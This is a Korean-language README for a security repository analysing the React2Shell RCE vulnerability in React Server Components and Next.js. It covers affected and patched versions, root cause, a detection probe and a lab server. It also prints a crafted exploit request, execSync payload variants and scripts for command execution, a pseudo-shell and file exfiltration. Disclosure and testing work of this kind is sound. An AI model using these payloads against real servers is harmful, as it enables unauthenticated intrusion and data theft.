
CVE-2025-55182 및 CVE-2025-66478 분석 -- React2Shell의 기반이 되는 취약점. 도구, 기술 정보 등
CVE-2025-55182 (React) 및 CVE-2025-66478 (Next.js)
이 저장소는 승인된 보안 테스트 및 교육 목적으로만 사용되는 익스플로잇 코드를 포함하고 있습니다.
참고: 여러 연구자들이 이 취약점에 대한 분석을 발표했습니다. 추가 관점, 익스플로잇 기법 및 탐지 방법은 참고 자료 섹션을 확인하세요.
2025년 12월 3일 수요일, React Server Components에서 심각한 원격 코드 실행(RCE) 취약점이 공개적으로 공개되었습니다. "React2Shell"이라는 이름이 붙은 이 버그는 인증되지 않은 공격자가 단일 HTTP 요청을 보내 취약한 버전의 React RSC 또는 Next.js App Router를 실행하는 모든 서버에서 임의의 코드를 실행할 수 있도록 합니다.
Next.js가 현대 웹의 상당 부분을 차지할 정도로 보편화되었기 때문에, 이 취약점의 영향은 심각합니다. App Router(Next.js 13 이후 새 프로젝트의 기본값)를 사용하고 RSC가 활성화된 모든 Next.js 애플리케이션이 취약합니다. 특별한 설정이 필요하지 않습니다. 특정 엔드포인트도 필요하지 않습니다. 모든 경로에 POST 요청만 보내면 됩니다.
취약점은 React의 "Flight" 프로토콜, 즉 React Server Components에서 서버와 클라이언트 간에 데이터를 전달하는 데 사용되는 직렬화 형식에 존재합니다. 역직렬화 중 hasOwnProperty 검사가 누락되어 프로토타입 체인을 탐색할 수 있게 되고, 궁극적으로 JavaScript Function 생성자에 도달하여 공격자가 제어하는 코드를 실행할 수 있습니다.
이 결함은 React의 react-server-dom-webpack, react-server-dom-turbopack 및 react-server-dom-parcel 패키지에 존재합니다. 지배적인 RSC 소비자인 Next.js는 App Router를 통해 이 취약점을 상속합니다.
많은 서비스가 잠재적으로 취약합니다. Next.js는 가장 인기 있는 React 프레임워크 중 하나이며, 스타트업부터 대기업까지 모든 규모의 회사에서 사용합니다. React Server Components를 사용하는 App Router는 Next.js 13부터 새 Next.js 프로젝트의 기본 아키텍처였으므로, 대부분의 최신 Next.js 배포가 영향을 받습니다.
다음을 사용하는 모든 애플리케이션:
react-server-dom-* 패키지(19.0.0 - 19.2.0)를 사용하는 React Server Components여기에는 Vercel, AWS, 자체 호스팅 인프라 및 Next.js App Router 애플리케이션이 실행되는 모든 곳의 프로덕션 배포가 포함됩니다.
영향을 받지 않음:
process.mainModule 없음)| 패키지 | 취약한 버전 | 패치된 버전 |
|---|---|---|
react-server-dom-webpack |
즉시 업그레이드하세요. 우회 방법은 없습니다.
Next.js 애플리케이션의 경우:
npm install next@latest
# 또는
pnpm update next
직접 React RSC를 사용하는 경우:
npm install react-server-dom-webpack@latest
설치된 버전을 확인하세요:
npm ls next react-server-dom-webpack react-server-dom-turbopack
이 취약점에 대해 여러 공격 벡터가 발견되었습니다. 가장 일반적이고 전제 조건 없이 작동하는 것은 React의 Flight 프로토콜 참조 시스템을 통한 프로토타입 오염을 사용합니다.
익스플로잇은 Next-Action 헤더와 함께 조작된 multipart POST 요청을 보냅니다. 페이로드는 참조 시스템을 악용하여 다음을 수행합니다:
$1:__proto__:then을 통해 프로토타입 체인 탐색Function 생성자를 호출하도록 속임POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
코드는 역직렬화 중에 실행되며, 액션 ID 유효성 검사보다 먼저 발생합니다. 즉, 모든 Next-Action 헤더 값이 취약한 코드 경로를 트리거합니다. 유효한 액션 ID가 필요하지 않습니다.
다른 공격 벡터도 존재하며, 여기에는
$F함수 참조 및 직접 모듈 가젯이 포함됩니다. 이러한 경우 일반적으로 유효한 액션 ID가 필요합니다. 자세한 내용은 대체 공격 벡터를 참조하세요.
React의 Flight 프로토콜은 $1:path:to:value와 같은 참조를 콜론으로 분할하고 객체를 탐색하여 해결합니다:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
아이러니: 이 파일의 맨 위, 35번째 줄:
import hasOwnProperty from 'shared/hasOwnProperty';가드가 임포트되었습니다. 사용 가능했습니다. 가장 중요한 루프에서만 사용되지 않았습니다.
이 단일 누락된 검사로 인해 $1:__proto__:then이 청크 객체에서 프로토타입 체인을 따라 Chunk.prototype.then까지 도달할 수 있습니다. 이 함수는 Promise와 유사한 객체를 처리합니다. 올바른 속성으로 가짜 청크를 조작하여 실행될 코드를 제어할 수 있습니다.
취약한 테스트 서버를 클론하세요:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
다른 터미널에서:
./detect.sh http://localhost:3443
취약한 서버는 HTTP 500과 응답 본문에 E{"digest"를 반환합니다. RCE를 시연하려면:
./exploit-redirect.sh http://localhost:3443 "id"
명령 출력이 응답에 나타납니다. 대화형 탐색의 경우:
./shell.sh http://localhost:3443
vulnerable-next-server/ 디렉토리에는 안전한 로컬 테스트를 위해 사전 구성된 Next.js 16.0.6 + React 19.2.0 애플리케이션이 포함되어 있습니다. 기본적으로 포트 3443에서 실행됩니다. 기본 설정이 취약함을 보여주는 최소한의 App Router 설정입니다.
다양한 시나리오를 처리하기 위해 여러 익스플로잇 변형을 개발했습니다:
프로덕션 참고: React는 프로덕션 빌드에서 오류 메시지를 제거하여
throw메서드를 손상시킵니다.exploit-redirect.sh만이 프로덕션에서 전제 조건 없이 명령 출력을 안정적으로 캡처합니다. 리디렉션 URL은 오류의digest속성(메타데이터)에 저장되며, 이는 삭제되지 않습니다. 반면message는{digest: "..."}만 됩니다.
유틸리티 스크립트:
detect.sh - 비파괴 취약점 프로브(코드 실행 없음)enumerate-actions.sh - 대상 HTML에서 유효한 서버 액션 ID 검색exfil-file.sh - 청크 파일 유출(대용량 파일 자동 처리)shell.sh - RCE를 통한 대화형 유사 셸리디렉션 방법은 프로덕션에서 작동하고, 전제 조건이 필요 없으며, 명령 출력을 직접 반환하므로 권장됩니다. 특별히 조작된 NEXT_REDIRECT 오류를 throw하여 작동합니다. 출력은 base64로 인코딩되어 리디렉션 URL에 포함되고 x-action-redirect 헤더에 반환됩니다.
각 스크립트의 자세한 사용법은 USAGE.md 를 참조하세요.
./detect.sh https://target.com
이는 임의 코드를 실행하지 않고 취약한 코드 경로를 트리거하는 최소 프로브를 보냅니다.
취약한 서버 응답:
text/x-componentE{"digest"패치되었거나 RSC가 아닌 서버: 404 반환, 다른 오류 형식, 또는 Flight 프로토콜 응답 없음.
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'
이 프로브는 빈 객체에서 존재하지 않는 속성을 참조합니다. 취약한 서버는 {}.a.a에 접근하려고 시도하여 충돌하고 500을 반환합니다. 패치된 서버에는 충돌을 방지하는 hasOwnProperty 가드가 있습니다.
다음 지표를 찾으세요:
0:, 1: 등)를 포함하는 <script> 태그x-nextjs-cache 또는 x-nextjs-matched-path 헤더/_next/ 정적 자산 경로$ACTION_ID_ 패턴다음 다이어그램은 단일 HTTP 요청이 어떻게 원격 코드 실행을 달성하는지 보여줍니다:
sequenceDiagram
participant A as 공격자
participant N as Next.js
participant F as Flight 파서
participant JS as JS 엔진
A->>N: Next-Action 헤더 + 악성 페이로드로 POST
N->>F: multipart 폼 데이터 파싱
F->>JS: await getRoot - 청크를 thenable로 반환
rect rgb(80, 20, 20)
Note over F,JS: 취약점 - hasOwnProperty 검사 없음
JS->>F: chunk.then이 $1:__proto__:then을 파싱
F-->>F: Chunk.prototype.then으로 이동
end
F->>JS: resolve(attackerObject)
Note over JS: JS Promise 스펙: resolve(thenable)<br/>thenable.then() 호출
JS->>F: fakeChunk.then() with 공격자의 _response
rect rgb(80, 20, 20)
Note over F,JS: 익스플로잇 - 공격자가 _response를 제어
F->>F: $B0 → _formData.get(_prefix + "0")
Note over F: _formData.get = Function 생성자<br/>_prefix = 악성 코드 문자열
F->>JS: Function(code)가 thenable로 호출됨
end
Note over JS: RCE - execSync() 실행
rect rgb(20, 60, 20)
Note over A,JS: 출력 유출(리디렉션 방법)
JS-->>F: base64(출력)와 함께 NEXT_REDIRECT throw
F-->>N: 오류 전파
N-->>A: HTTP 303 + x-action-redirect 헤더
end
React Server Components는 서버에서 클라이언트로 컴포넌트 트리를 스트리밍하기 위해 "Flight"라는 사용자 정의 직렬화 형식을 사용합니다. 다양한 값 유형에 대해 접두사 코드를 사용합니다:
$1, $2, ... - ID로 다른 청크에 대한 참조$@0 - 원시 청크 객체 참조(값 자체가 아닌 청크 자체를 반환)$B0 - Blob 참조(_formData.get(_prefix + id) 트리거)$1:path:to:prop - 참조된 청크의 값에서 경로 탐색취약점은 $@(원시 참조)와 콜론으로 구분된 경로의 조합을 악용하여 __proto__에 접근합니다.
1단계: 요청 처리
Next-Action 헤더가 있는 POST가 RSC 액션 처리를 트리거합니다.await getRoot(response)는 청크 0을 thenable로 반환합니다.2단계: 프로토타입 탐색
then 메서드가 있습니다 - JS Promise 스펙이 thenable.then(resolve, reject)를 호출합니다.$1:__proto__:then은 Chunk.prototype.then으로 해석됩니다.then, status: "resolved_model" 및 _response로 가짜 청크 객체가 생성됩니다.3단계: 코드 실행
resolve(ourObject)는 다른 then() 호출을 트리거합니다(JS thenable 스펙).Chunk.prototype.then이 우리가 제어하는 _response 객체를 사용하여 실행됩니다.$B0은 _formData.get(_prefix + "0")을 트리거합니다 - 둘 다 공격자가 제어합니다.4단계: 출력 유출 (선택 사항, 리디렉션 방법)
NEXT_REDIRECT 오류를 throw합니다.x-action-redirect 헤더를 설정합니다.구성된 Function은 thenable로 호출됩니다: fn(resolve, reject). 이를 처리하는 방법에 따라 출력을 다시 받을 수 있는지 여부가 결정됩니다:
권장: Redirect. 프로덕션에서 작동, 전제 조건 없음, x-action-redirect 헤더에 출력.
Blind 접근 방식은 Promise가 절대 해결되지 않아 await가 영원히 차단되므로 연결이 멈춥니다. 이는 발사 후 망각 시나리오(리버스 셸, curl을 통한 대역 외 유출)에 유용합니다.
핵심 취약점은 세 가지 별개의 공격 클래스를 통해 악용되었습니다. 이 저장소는 첫 번째 접근 방식을 사용합니다. 다른 PoC는 대안을 보여줍니다:
프로토타입 오염에 액션 ID가 필요하지 않은 이유: Multipart 폼 파싱은 청크를 Flight 역직렬화기에 즉시 공급합니다. RCE는 Next.js가 액션 ID의 유효성을 검사하기 전에 청크 참조 해결 중 getOutlinedModel()에서 발생합니다. URL 인코딩된 요청은 먼저 액션 ID의 유효성을 검사합니다(action-handler.ts:768에서 다른 코드 경로).
$F 참조에 액션 ID가 필요한 이유: $F 참조는 loadServerReference()를 트리거하며, 이는 매니페스트 조회를 수행합니다. 액션이 존재하지 않으면 코드 실행 전에 요청이 실패합니다.
모든 PoC 구현 및 장단점에 대한 자세한 분석은 external-pocs/COMPARISON.md를 참조하세요.
React는 프로덕션 빌드에서 오류 세부 정보를 제거합니다. 이는 throw 기반 유출에 영향을 미칩니다:
개발:
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}
프로덕션:
{"digest":"..."}
리디렉션 방법은 리디렉션 URL이 message가 아닌 digest 속성에 저장되므로 이를 우회합니다. 헤더는 URL 유효성 검사 전에 조건 없이 설정되므로 잘못된 URL이라도 헤더가 설정됩니다.
핵심 익스플로잇 통찰력(자체 참조 가짜 청크를 생성하기 위해 $@ 원시 청크 참조 사용)은 maple3142의 공로입니다. 여기에서 참조된 탐지 방법론은 Searchlight Cyber / Assetnote에서 제공했습니다.
공식 공개:
커뮤니티 연구:
모든 PoC 구현에 대한 자세한 비교는 external-pocs/COMPARISON.md를 참조하세요.
배경:
코드는 MIT 라이선스에 따라 라이선스가 부여됩니다. 문서(*.md 파일)는 CC-BY-SA 4.0에 따라 라이선스가 부여됩니다.
| 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| 버전 라인 | 취약한 버전 | 패치된 버전 |
|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
| 스크립트 | HTTP | 출력 | 프로덕션 | 참고 |
|---|
exploit-redirect.sh | 303 | x-action-redirect 헤더 | 예 | 권장. 전제 조건 없음. |
exploit-throw.sh | 500 | 오류 응답 본문 | 아니요 | 개발 모드 전용(프로덕션에서는 오류가 정리됨). |
exploit-blind.sh | 200 | 서버 측만 | 예 | 발사 후 망각. OOB 유출에 사용. |
exploit-urlencoded.sh | 303 | x-action-redirect 헤더 | 예 | 다른 WAF 서명. 액션 ID 필요. |
exploit-reflect.sh | 200 | 응답 본문 | 예 | 가장 은밀함. 액션 ID 필요. |
| 전략 | 페이로드 접미사 | 작동 방식 |
|---|
| Blind | execSync('CMD');0 | 실행되지만 절대 해결되지 않음 - 연결이 멈추고 출력 없음 |
| Throw | throw execSync('CMD').toString() | Promise 거부, 오류 본문에 출력(개발 모드 전용) |
| Redirect | throw {digest:'NEXT_REDIRECT;...;'+b64(output)} | Next.js 리디렉션 처리 악용, 헤더에 출력 |
| Reflect | arguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()]) | Promise를 출력으로 액션 인수로 해결(유효한 액션 ID 필요) |
| 공격 클래스 | 메커니즘 | 액션 ID 필요 | 예시 PoC |
|---|
| 프로토타입 오염 | $1:__proto__:then traversal to Chunk.prototype | 아니요 | react2shell, lachlan2k, joe-desimone |
| $F 함수 참조 | $F1 + action#constructor to reach Function | 예 | shellinteractive |
| 모듈 가젯 | module#export 구문(예: child_process#execSync) | 다양함 | ejpir 연구 |
| 저자 | 기여 | 공격 경로 | 주요 특징 |
|---|
| lachlan2k | 최초 발견자 | 프로토타입 오염 | Array.map 체이닝, 5-청크 구조, Waku 지원 |
| ejpir | 가젯 연구 | 모든 경로 | 모듈 가젯 카탈로그, 지속성 공격, 데이터 URI 경로 |
| joe-desimone | Python 도구 | 프로토타입 오염 | 리버스 셸 도우미, 콜백 유출, 타임아웃 탐지 |
| labubusDest / MrR0b0t19 | 대화형 셸 | $F 함수 참조 | Python REPL, 파일 업로드/다운로드, 내장 테스트 스위트 |
| Searchlight Cyber | 탐지 방법 | — | 고충실도 탐지 방법론, WAF 서명 |